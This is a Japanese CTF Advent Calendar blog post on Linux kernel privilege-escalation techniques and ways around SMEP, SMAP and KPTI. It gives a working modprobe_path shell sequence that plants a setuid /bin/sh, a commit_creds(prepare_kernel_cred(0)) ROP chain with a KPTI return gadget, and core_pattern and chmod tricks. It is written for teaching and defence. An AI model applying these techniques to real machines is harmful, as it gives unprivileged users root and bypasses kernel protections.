kernel
ctf
pwn
この記事は,CTF Advent Calendar 2018 の4日目の記事です.
3日目は私の「Linuxカーネルexploit問におけるTIPS」でした.
今回は
について書きます.残念ながら新規性はありません.日本にはこういった記事はあまりありませんが,海外では普通に公開されている内容です.
またLinux以外のOS(例えばWindows)には通用しないと思いますので,ご注意ください.
大前提として,Linuxのカーネルexploit(権限昇格)についてある程度知っている方向けの内容となります.
全く知らないよ!って方は,nokia31337の解説資料で図を入れて解説したので,先にそちらで精進したほうが良いかと思います(2014年当時のARMにおけるLinuxカーネルExploit問です).
また私はLinuxカーネルのソースを全て読んだことはなく,必要に応じてチラ見した程度なので,そこまで深い知識は持っていません.もし記事の内容に間違いがありましたら,優しく教えてください.マサカリ投げるのは禁止!
最近は,CTFでもLinuxのカーネルExploit問題がちょくちょくでますね.CTFに出場するようなセキュリティ研究者なら,防御のためにも,カーネルの攻撃手法くらいは知っておかねばなりません.
さて,Linuxのカーネルexploitパターンにはいくつか攻略方法があります.KPTIについて話す前に,軽くおさらいしておきましょう.
昔から使われてきたテクニックで,カーネル内でRIPを奪ったら,カーネル権限のままユーザランドに戻るパターンの攻撃です.
大抵はユーザランドに予め用意しておいたcommit_creds(prepare_kernel_cred(0))
を実行し(これ以降はcc(pkc(0))
と略します),他にもカーネル権限でやっておきたいことがあれば実行します(カーネル内の破壊したポインタの修正など).
やることが済んだら,カーネル権限からユーザ権限に戻らなければなりません.権限の切り替えはswapgs
+ iretq
を使います(x86_64の場合).これで権限を切り替えつつ綺麗にユーザランドへ戻ることができます.
但し,ユーザランドにcommit_creds()
とprepare_kernel_cred()
を呼び出すコードを予め用意しておく必要があるため,これらのカーネル内でのアドレスを知らなくてはなりません.最近のカーネルにおける各種アドレスは,OSが起動する度にランダマイズされているため(kASLR
),アドレスが固定ではありません.つまり,事前に(RIPを奪う前に)kASLR
を突破するためのアドレスリークが必須なことに注意しましょう.
※別のバグを使って何らかのアドレスをカーネルからリークし,オフセットを減算してkernel_baseを求め,オフセットを加算してcommit_creds()
とprepare_kernel_cred()
のアドレスを求め,それをユーザランドに埋め込むだけです.ユーザランドに埋め込む機械語は,例えば以下のようなものとなります.
※カーネル権限でユーザランドに用意した以下コードを実行する
xor rdi, rdi
mov rbx, <prepare_kernel_cred address>
call rbx
mov rdi, rax
mov rbx, <commit_creds address>
call rbx
※この後,別途ユーザ権限でユーザランドに戻る必要がある
但し,このような機械語を書き込んだカーネルから見える(そして実行できる)メモリが必要です.
2017年の冬までは後述のKPTIと呼ばれる機構が無かったため,カーネルのメモリ管理は甘く,ユーザランドでRWX
なパーミッションのメモリを作っておくと,カーネルからもそのメモリに同一パーミッション(RWX
)でアクセスできました.このためユーザランドで上記のようなコードを仕込んだメモリを事前に用意しておき,何らかのカーネルのバグを突いてRIPを奪い,このメモリのアドレスへリターンすれば,cc(pkc(0))
が実行できました.
Linuxではプロセス毎にカーネルスタックが用意されます.カーネルスタックは,システムコールを処理する時に使われます.そのカーネルスタックは共用体で,最下部から上へ向かってスタックとして使われるのですが,最上部にはプロセスに関するポインタも持っています.
このポインタを頑張って色々辿っていくと,struct cred
と呼ばれる構造体に行き着くことができ,ここにはプロセスのuidやgidなどの権限情報が書き込まれています.これを0にすれば,そのプロセスはrootになります.
RIPを奪わなくても,カーネルスタックのアドレスリークと任意アドレスの読み書きができれば達成できるため,非常に便利な手法ですが,今回は詳しくは触れません.
気になる方は,おなじみnokia31337の解説資料に書いてあるので読んでみてください.thread_union.thread_info->task_struct->cred->uid
と辿れることが書いてあります.
但し,現在は上記の資料執筆当時とは少しデータ構造が変わっており,thread_union.task_struct->cred->uid
と辿るのが正しいようです(v4.16-rc1で入った変更らしく,カーネルのビルドコンフィグで切り替えるっぽい).
Stackjacking(Rosengropeテクニック/Obergropeテクニック)と名前のついた,汎用的なカーネルexploitテクニックも,本質的にはこのテクニックを使います.
sys_setuid
へのパッチ古い(〜2016年頃?)ARMでのみ使えた手法です.カーネルの.text領域がRWX
だったため,任意アドレスの読み書きができるバグさえあれば,カーネルを自由に改変できてしまうのでした.
ユーザランドのsetuid()
システムコールに対応する,カーネル内のsys_setuid()
は,呼び出したプロセスの権限を変更するためcc(pkc(uid))
のようなコードを実行しますが,ちゃんと事前に権限チェックしています.でもこの権限チェックをNOP
にしてしまえば,誰でもsetuid(0)
,つまりcc(pkc(0))
が呼び出せることになります.
最近はこんな簡単な問題はもう出なくなりましたね.この手法についても,これ以上は触れません.気になる方は同じく上記資料に書いてあるので,読んでみてください.
x86/x64に限定した話ですが,ret2usrへの対策でIntel製CPUがSMEPという防御機構を搭載しました.これにより,カーネル権限ではユーザランドのメモリを実行することができなくなりました.カーネルがユーザランドのメモリアドレスを実行しようとすると,クラッシュするようになったのです.
でも回避は簡単です.SMEP有効フラグはcr4
レジスタにあるので,SMEP無効フラグを設定した値でcr4
を更新すれば終わりです.
CR4
のSMEPフラグをクリアcc(pkc(0))
とすれば終わりです.
私がカーネルexploitを覚えてからずっと使っていたテクニックで,大会では何度もお世話になりました.
Intel製CPUは,SMEP回避への対策でさらにSMAPという防御機構を搭載しました.これにより,カーネル権限ではユーザランドのメモリへアクセスすることができなくなりました(copy_from_user()
とかでどうしてもユーザランドへのアクセスが必要な場合だけ,EFLAGS.AC
ビットで一時的にSMAPをオフにするなどしてたと思います).
でも回避は簡単です.SMAP有効フラグもcr4
レジスタにあるので,SMAPフラグを無効とした値でcr4
を更新すれば終わりです.
ユーザランドにstack pivotすることができないため,カーネル内だけでROPする必要があり,難易度は上がります.しかし,カーネル内でROP用の空間を確保さえすれば終わりですね.shmget()
で大きめのメモリを確保しても良いし,カーネルのdataっぽいところを利用する,という方針でも良いでしょう.ROP達成後は,先と同じくret2usrでcc(pkc(0))
をすればOKです.
ret2dirと呼ばれるテクニックもあります.
SMAPによりカーネルからユーザランドのメモリへのアクセスは制限されていますが,同じ内容のメモリがカーネル空間に存在した場合,そこへのアクセスは問題なくできてしまいます.
実はカーネルは全ての物理メモリをカーネル空間にストレートマッピングしています.つまり物理アドレスへ擬似的にアクセスできてしまうのです.これによりユーザランドで用意したメモリはカーネル空間にも必ず存在することになるため,そこでROPをすれば良いじゃない,という方法です.
攻撃にはユーザランドで確保した仮想アドレスに対応する物理アドレスを知っておく必要がありますが,/proc/$PID/pagemap
を読んで計算すれば物理アドレスへ変換可能です.そのアドレスに,ストレートマッピングのベースアドレスを足せばよいでしょう.
但し,最近のLinuxでは一般ユーザがこのファイルを読む権限を持たないように変更されたため,ret2dirは実用的ではなくなりました(ストレートマッピング自体は多分まだ使われているはずですが,別の方法で物理アドレスを取得しなければなりません).
はい,ようやく前準備が整いました.SMEPやSMAPと呼ばれる防御機構はいずれも強力ですが,攻撃を完全に防ぐことはできませんでした.そこで,KPTIという防御機構が作られたわけですね.
私はカーネルのパッチを追いかけてる訳ではないので詳しく知りませんが,どうやら2017年秋にKAISERと呼ばれる機構が提案されて,これがKPTIの原型だそうです.ちょうどその頃MeltdownやSpectreと呼ばれるCPUの脆弱性が秘密裏に報告され,KAISERはMeltdownに有効だったため,水面下でパッチが取り入れられたようですね.
KPTIは「カーネル空間のページテーブルと,ユーザ空間のページテーブルを,独立して管理する」みたいな感じの機構です.ちゃんと調べたわけではありませんから,本質は違うのかもしれません.でもCTFで戦うにはこの程度の理解で良いでしょう.英語版Wikipediaにある図とかは,比較的分かりやすいと思います.
SMEPもSMAPも,cr4
のフラグを消して回避したあとは,ret2usrに持ち込むのが一般的でした.cc(pkc(0))
を実行するだけならROPでも十分書けると思いますが,RIPを奪うために破壊してしまったカーネル空間の各種データを元に戻したり,二度目以降は呼ばれないようにしたり,SElinuxのような別の防御機構を外したり,と多くの場合は他にも色々やる事があるためです.全部ROPで片付けるには少々面倒なので,ret2usrに持ちこみアセンブリを実行して達成するパターンが多いのです.
さてret2usrが効く原因は,カーネルからユーザランドのメモリがRWX
で見えてしまっていたことによります.KPTIによりページテーブルを分離できたので,ついでにユーザランドのメモリは全てRW-
でマップするような変更も入ったようです.ソースで確認したわけではありませんが,LWN.netにこのような記事があります.
Another potential vulnerability comes about if the kernel can ever be manipulated into returning to user space without switching back to the sanitized PGD. Since the kernel-space PGD also maps user-space memory, such an omission could go unnoticed for some time. The response here is to map the user-space portion of the virtual address space as non-executable in the kernel PGD. Should user space ever start running with the wrong page tables, it will immediately crash as a result.
カーネルが,ユーザ空間用にサニタイズされたPGD(Page Global Directory)へ戻らないままユーザ空間へリターンし操作できるようになった場合,別の潜在的な脆弱性が生じます.カーネル空間のPGDも,ユーザ空間のメモリはマップしているため,そのようなことが起きてもしばらくは気付けない可能性があります。 この問題への対応として,仮想アドレス空間のユーザ空間部分は,カーネルPGDへnon-executableとしてマップすることにしました.ユーザー空間のコードが,間違ったページテーブルで実行されると,すぐにクラッシュします.
従って,ユーザランドでRWX
なメモリであっても,カーネルからは全てRW-
というパーミッションでマップされるようになりました.これにより,ret2usrは完全に使えなくなってしまいました.ここまでがKPTIの話です.
KPTIが有効な環境では,ユーザランドのメモリを実行することは出来ません.従ってKPTIを回避するには,カーネル内部だけで権限昇格を完結させなければなりません(尚,SMAP無効ならば,データ領域としてユーザランドのメモリを参照することは可能です).
それでは,CTFでよく使われるテクニックをいくつか紹介しましょう.
modprobe_path
の改変PPPのKNOTEのWriteupを見て知ったテクニックです.
初出はこちらの資料の3-3(p29~)でしょうか.JailBreak界隈ではもっと前から知られていた,という話も聞きましたが,よくわかりません.
カーネルの.data
領域には,modprobe_path
と呼ばれる変数があります.
変数には"/sbin/modprobe"
が初期値で入っていますが,/proc/sys/kernel/modprobe
経由でユーザランドから設定値を見ることができ,root権限があれば値の書き換えも可能となっています.書換可能なパラメータであるため,RW
なメモリにマップされています.
さて,任意のアドレスに対して任意の値で書き換えられるカーネルのバグがあったとしましょう.そのバグを悪用し,modprobe_path
にある文字列を/sbin/modprobe
から/tmp/hogehoge
に改変したと仮定します.
この時,以下のようなコマンドをユーザランドで打つことで,権限昇格が可能です.
$ echo -ne '#!/bin/sh\n/bin/cp /bin/sh /tmp/sh\n/bin/chmod 4777 /tmp/sh\n' > /tmp/hogehoge
$ chmod +x /tmp/hogehoge
$ echo -ne '\xff\xff\xff\xff' > /tmp/a
$ chmod +x /tmp/a
$ /tmp/a
$ /tmp/sh -p
#
なぜこれが起こるのかを解説していきましょう.
LinuxにはユーザーモードヘルパーAPIと呼ばれる機構があり,カーネルからユーザランドのバイナリを実行できるようになっています.呼び出される経路の一例として,「登録されていないフォーマットのバイナリが実行された際に,そのようなバイナリをハンドリングできるモジュールが無いかを探そうとする目的で,modprobe
コマンドを発行する」というものがあります.
経路的には以下の通りです(カーネル v4.12の時の調査メモから持ってきてるので,最新版では間違ってる可能性があります).
sys_execve()
do_execve()
do_execveat_common()
bprm_mm_init()
exec_binprm()
search_binary_handler()
request_module()
__request_module()
call_modprobe() ★
call_usermodehelper_setup()
call_usermodehelper_exec()
queue_work()
で,call_modprobe()
は以下の通りです.
<modprobe_path> -q -- <module_name>
らしきコマンドを発行しているように見えますね.
つまり以下を実行すると,'\xff\xff\xff\xff'
というヘッダを持つフォーマットのバイナリは実行できないので,ハンドリング可能なモジュールが無いかどうかを探すために,暗黙的にcall_modprobe()
が呼ばれるのです.もちろん,call_modrprobe()
が呼ばれたとしても,そんなヘッダを持つバイナリをハンドリングできるようなカーネルモジュールはありませんので,実質的には何も起きません.最終的に,画面にはcommand not found
と出力されて終わりです.でも,内部的にはcall_modprobe()
が呼ばれている,という点が重要なのです.
$ echo -ne '\xff\xff\xff\xff' > /tmp/a
$ chmod +x /tmp/a
$ /tmp/a
./a: line 1: $'\377\377\377\377': command not found
ここまで理解したら後は簡単ですね.modprobe_path
を/tmp/hogehoge
に改変した,と仮定していますから,/tmp/hogehoge
にカーネル権限で実行してほしいコードを書いておき,上記の手順でcall_modprobe()
を呼び出せばOKです.例では,/bin/sh
をパーミッション4777
で/tmp/sh
に配置する,というコードを書いています.尚,実行させるコマンドは一応全てフルパスで書いておいた方が良いと思います.
$ echo -ne '#!/bin/sh\n/bin/cp /bin/sh /tmp/sh\n/bin/chmod 4777 /tmp/sh\n' > /tmp/hogehoge
$ chmod +x /tmp/hogehoge
$ echo -ne '\xff\xff\xff\xff' > /tmp/a
$ chmod +x /tmp/a
$ /tmp/a
$ /tmp/sh -p
#
この手法の良い点は,本質的にRIPを奪う必要がないためSMEP/SMAP/KPTIのいずれも回避しやすい点です.カーネルのバグを使って達成すべき内容はmodprobe_path
を別の文字列に書き換えるだけであり,その後rootになるためのトリガは別途引き起こせば良い点にあります.
尚,ユーザーモードヘルパーAPIで利用されるグローバル変数の値を無視するCONFIG_STATIC_USERMODEHELPER
というビルドコンフィグが既に存在し,これが有効な場合はこのテクニックは使えません.これが有効な場合,例えばmodprobe_path
の値を無視し,ユーザランドの特定のプログラムで判定して実行する,みたいな機構になります.但し,まだデフォルトでは有効になっていないようです(Ubuntu 18.04のカーネルで確認).
modprobe_path
の改変(発展形)先のテクニックは,RIPを奪えるケースと組み合わせる事もできます.RIPを奪った箇所からstack pivotでROPに持ち込めば,たった6個のガジェットから成る,次のようなROPでrootを取ることが出来ます.
pop gadget
value # 0x0061612f706d742f (="/tmp/aa\0")
pop gadget
addr # modprobe_path のaddress
mov gadget # *addr = value を達成するようなもの
infinity_loop gadget # executableな0xeb 0xfe(jmp $-2)のあるaddress
最後はカーネル内で無限ループの起きる場所にリターンしています.ユーザランドへ戻るための復帰用コードを書かなくても良いところがミソです.
これで良いのか?と思われるかもしれませんが,最近のCTFの問題では大抵利用可能です.何故なら最近のカーネルexploit問ではRace Conditionバグを突かせる問題が多く,その場合はCPUが2つ以上動いています(/proc/cpuinfo
で確認可能).片方のCPUがカーネル内の無限ループで死んでも,もう一つのCPUが正常に動いていれば,ユーザランドのコマンドを叩くことは可能だからです.
このテクニックは,大会が終わった後に入手した,WCTF 2018のklistという問題を勉強がてら解く時に使いました.klistの解説は明後日の記事で行います.
※ちなみに,元ネタはnokia31337のWrite-upで使われていたテクニックです.nokia31337という問題はFreeRTOS+Linuxのハイブリッドな環境だったため,このテクニックが有効だったのですが,CPUが2つ以上動いているなら純粋なLinux環境でも利用可能です.
その後の調査で,このテクニックはシングルCPUでも問題なく利用可能なことが分かっています.但し若干の変更が必要で,infinity_loop gadget
に飛ばすのではなく,rdi
に大きな値を入れてmsleep()
に飛ばす必要があります.
poweroff_cmd
の改変modprobe_pathテクの劣化版といえるテクニックです.blueborneのPoCでも使われています.
上記のpoweroff_cmd
変数を書き換えておき,__orderly_poweroff()
を呼び出すことで,ユーザ空間のコマンドを発行します.尚,poweroff_cmd
変数の現在値は,/proc/sys/kernel/poweroff_cmd
で確認することができます.
注意点があります.__orderly_poweroff()
は,筐体温度が上がりすぎた場合にgracefulにOSを落とす目的で,thermalモジュールから呼ばれる関数ですが,これを手動で(一般ユーザ権限で各種コマンドを駆使して)呼び出す方法は多分ありません.
つまりmodprobe_path
の時のように,メモリの値を書き換えただけでは不十分で,カーネル内でRIPを奪って__orderly_poweroff()
に飛ばす必要があります.modprobe_path
テクの劣化版と書いたのはこのような理由によります.
逆に,blueborneのようなリモートexploitであればこのテクニックの方が好ましくなります.「一般ユーザ権限でコマンドを実行することで呼び出せる」というメリットは,リモートexploitでは意味をなしませんから,modprobe_path
テクもpoweroff_cmd
テクも同じです.そして筐体の温度が上がって落ちるという事はめったに起こらないと考えられますから,__orderly_poweroff()
が呼ばれるケースは,call_modprobe()
が呼ばれるケースよりも更に低いと言えます.従って,書き換えた値がカーネルの動作に影響を及ぼしにくい,というメリットがあります.
尚,一緒に定義されているreboot_cmd
変数を使っても同様の事ができると思います.
run_cmd
を用いても可能です.SMAPが無いならこちらのほうが楽かもしれません.
実行したいコマンドを書いたアドレスを第一引数に渡せばOKです.
core_pattern
を用いても可能です.core_pattern
の中身を|/tmp/x
などへ書き換えた後に,適当なプログラムをSIGSEGVなどさせれば,書いたコマンドが実行されます.
TWCTF 2018のReadableKernelModuleで出題されたネタですね.PoCはこちらです.
CTFのカーネルexploit問では,多くの場合ファイルシステム上の/root/flag.txt
がフラグです.rootにならないとフラグが読めないので,なんとかしてrootになろう,というのが前提です.
しかし出題されるほぼ全ての問題はqemu用のイメージファイルとして渡されており,そのイメージはramfsのようにメモリに展開されて扱われるため,ファイルシステムが全てメモリ上に存在します.つまりフラグのファイルもメモリ上に存在します.
もしメモリを広く走査することができるようなバグがあれば,例えば"CTF{"
のような特徴的なフラグフォーマットをメモリ上から探し,前後をダンプするだけでフラグが読み取れてしまいます.
ret2usrを使っているわけではないので,これもKPTIを回避可能ですね.
対策としては,/root/flag.txt
には読んでもゴミと判別がつかないデータを入れておき,CTF{$(sha256sum /root/flag.txt)}
,をフラグとする,という方法が望ましいと思います.(0CTF 2018のZeroFSという問題では,ちゃんとこの対策が取られていました).
実は,これが最も一般的なテクニックです.
KPTIのページテーブルに関する情報はCR3
レジスタが持っているので,iretq
でユーザランドへ戻る場合にはCR3
を正しい値にしなければなりません.
これはそういうガジェットが見つかっているので,これを利用すると良いでしょう.
以下のURLが参考になります.
/*
"swapgs_restore_regs_and_return_to_usermode"
https://elixir.bootlin.com/linux/v4.19.26/source/arch/x86/entry/entry_64.S#L674
0xffffffff81c0098a: mov rdi,rsp
0xffffffff81c0098d: mov rsp,QWORD PTR gs:0x5004
0xffffffff81c00996: push QWORD PTR [rdi+0x30]
0xffffffff81c00999: push QWORD PTR [rdi+0x28]
0xffffffff81c0099c: push QWORD PTR [rdi+0x20]
0xffffffff81c0099f: push QWORD PTR [rdi+0x18]
0xffffffff81c009a2: push QWORD PTR [rdi+0x10]
0xffffffff81c009a5: push QWORD PTR [rdi]
0xffffffff81c009a7: push rax
0xffffffff81c009a8: xchg ax,ax // ★
0xffffffff81c009aa: mov rdi,cr3
0xffffffff81c009ad: jmp 0xffffffff81c009e3
---
0xffffffff81c009e3: or rdi,0x1000
0xffffffff81c009ea: mov cr3,rdi
0xffffffff81c009ed: pop rax
0xffffffff81c009ee: pop rdi
0xffffffff81c009ef: swapgs
0xffffffff81c009f2: nop DWORD PTR [rax]
0xffffffff81c009f5: jmp 0xffffffff81c00a20
---
0xffffffff81c00a20: test BYTE PTR [rsp+0x20],0x4 ; check cs cpl
0xffffffff81c00a25: jne 0xffffffff81c00a29 ; return to kernel, don't want this.
0xffffffff81c00a27: iretq ; return to userland
*/
このガジェットを利用する際は,カーネル空間のスタックにrip
,cs
, rflags
, rsp
, ss
の5つを順序良く積んでおく必要があります.これらを都度調整するのは面倒なため,exploitの開始直後に値を取得/保存し,それを使い回すのが良いでしょう.
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;
static void save_state() {
__asm__("mov %0, cs": "=r"(user_cs));
__asm__("mov %0, ss": "=r"(user_ss));
__asm__("mov %0, rsp": "=r"(user_sp));
__asm__("pushf; pop %0": "=r"(user_rflags));
}
static void win() {
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
puts("[+] Win!");
execve("/bin/sh", argv, envp);
}
...
// rop in exploit
*chain++ = kbase + rop_pop_rdi;
*chain++ = 0;
*chain++ = kbase + prepare_kernel_cred; // pkc(0)
*chain++ = kbase + rop_mov_rdi_rax;
*chain++ = kbase + commit_creds; // cc(pkc(0))
*chain++ = kbase + rop_bypass_kpti; // return to usermode
*chain++ = 0xdeadbeef;
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win;
*chain++ = user_cs;
*chain++ = user_rflags;
*chain++ = user_sp;
*chain++ = user_ss;
ROPでcc(pkc(0))
したあとに,上記のrop_bypass_kpti
ガジェットに飛べば,正しくユーザランドへ戻ることができます.後はユーザランドでexecve("/bin/sh")
するだけです.
尚,★をつけた部分には注意しましょう.vmlinux
をIDAで開くなどすると,この部分のアセンブリはjmp命令になっています.しかし実際のメモリをダンプすると,xchg ax, ax
となっており,jmp命令は何らかのタイミングで置換されるようです.
以下のURLが参考になります.
KPTI環境下でCR3
レジスタを元に戻さずユーザランドに復帰するとクラッシュしますが,クラッシュとはSEGVのことであるため,ユーザランドにてSEGVハンドラを事前に用意しておくと,SEGVハンドラが呼び出されて問題なく復帰できます.
以下のURLが参考になります.
カーネルexploitでは,flag.txt
が読めればOKです.つまり,rootシェルを取得する必要はなく,chmod("/root/flag.txt", 0777)
でも条件は達成できることになります.
RIPを奪ったあと,上記を満たすようなROPを呼んでも良いでしょう.
chmod
は以下の形式です.
595 SYSCALL_DEFINE2(chmod, const char __user *, filename, umode_t, mode)
596 {
597 return do_fchmodat(AT_FDCWD, filename, mode);
598 }
尚,実際のアセンブリではSYSCALL_DEFINE2(chmod, ...)
は,引数がrdi
相対(メモリ上に引数が配置されていて,[rdi+XXX]
のように取ってくる)で渡されてくるようなので注意しましょう.
以下はSYSCALL_DEFINE2(chmod, ...)
のアセンブリです.
.text:FFFFFFFF8129F9C0
.text:FFFFFFFF8129F9C0
.text:FFFFFFFF8129F9C0
.text:FFFFFFFF8129F9C0 sub_FFFFFFFF8129F9C0 proc near
.text:FFFFFFFF8129F9C0 000 E8 8B 1D 96 00 call nullsub_1
.text:FFFFFFFF8129F9C5 000 55 push rbp
.text:FFFFFFFF8129F9C6 008 0F B7 57 68 movzx edx, word ptr [rdi+68h]
.text:FFFFFFFF8129F9CA 008 48 8B 77 70 mov rsi, [rdi+70h]
.text:FFFFFFFF8129F9CE 008 BF 9C FF FF FF mov edi, -100 ; AT_FDCWD
.text:FFFFFFFF8129F9D3 008 48 89 E5 mov rbp, rsp
.text:FFFFFFFF8129F9D6 008 E8 F5 FE FF FF call sub_FFFFFFFF8129F8D0 // do_fchmodat
.text:FFFFFFFF8129F9DB 008 48 98 cdqe
.text:FFFFFFFF8129F9DD 008 5D pop rbp
.text:FFFFFFFF8129F9DE 000 C3 retn
.text:FFFFFFFF8129F9DE sub_FFFFFFFF8129F9C0 endp
.text:FFFFFFFF8129F9DE
ROPするならrdi, rsi, rdx
を揃えた上で,do_fchmodat()
を直接呼び出したほうがわかりやすいかもしれません.尚rdi
に設定すべきAT_FDCWD
は-100
,つまり0xFFFFFF9c
です.
ROPでcc(pkc(0))
したあとに,上記の通りfchmodat()
を呼び,msleep()
か無限ループに突入すれば,別スレッドでフラグを読むことができるでしょう.
メモリの属性はページテーブルを用いて定義されていますが,書き込み保護が有効になるのはCR0
のWP
フラグが立っているときだけです.
CR0
のWP
フラグを落とすにはいくつか考えられますが,以下のどちらかがよく使われます.
native_write_cr0(int)
を呼び別の値でCR0
を変更CR0
のWP
フラグを落とす最後にmov [reg], reg
のようなガジェットを使ってカーネルのコードにパッチを当て,msleep()
や無限ループに突入すれば良いでしょう.尚,パッチの当て先としては,例えばsys_setuid()
の条件を潰すなどが代表的なターゲットとしてよく知られています.
Linuxカーネルには,set_memory_rw()
があります.
int set_memory_rw(unsigned long addr, int numpages)
{
return change_page_attr_set(&addr, numpages, __pgprot(_PAGE_RW), 0);
}
これを呼び出すと,ページテーブル内の属性フラグにRW属性が追加されるので,カーネルのコード領域であっても読み書きすることができるようになります.
似たような関数にset_memory_x()
があります.
int set_memory_x(unsigned long addr, int numpages)
{
if (!(__supported_pte_mask & _PAGE_NX))
return 0;
return change_page_attr_clear(&addr, numpages, __pgprot(_PAGE_NX), 0);
}
例えばスタックに対してこの関数を呼ぶと,スタックに実行属性を追加することができます.
今回は最近のカーネルのexploitでよく使われるテクニックについて,ざっと紹介しました.
より深く学びたければ,各種資料へのリンクがまとまっているLinux Kernel Exploitationあたりを読むと良いと思います.今回紹介した内容は,大体このリンクのどこかにあった内容だと思います.
明日も私が記事を担当します.比較的最近追加されたシステムコールであるuserfaultfd()
の悪用の話(最近のLinuxカーネルexploit問に対するテクニック集2)です.良ければ見てくださいね.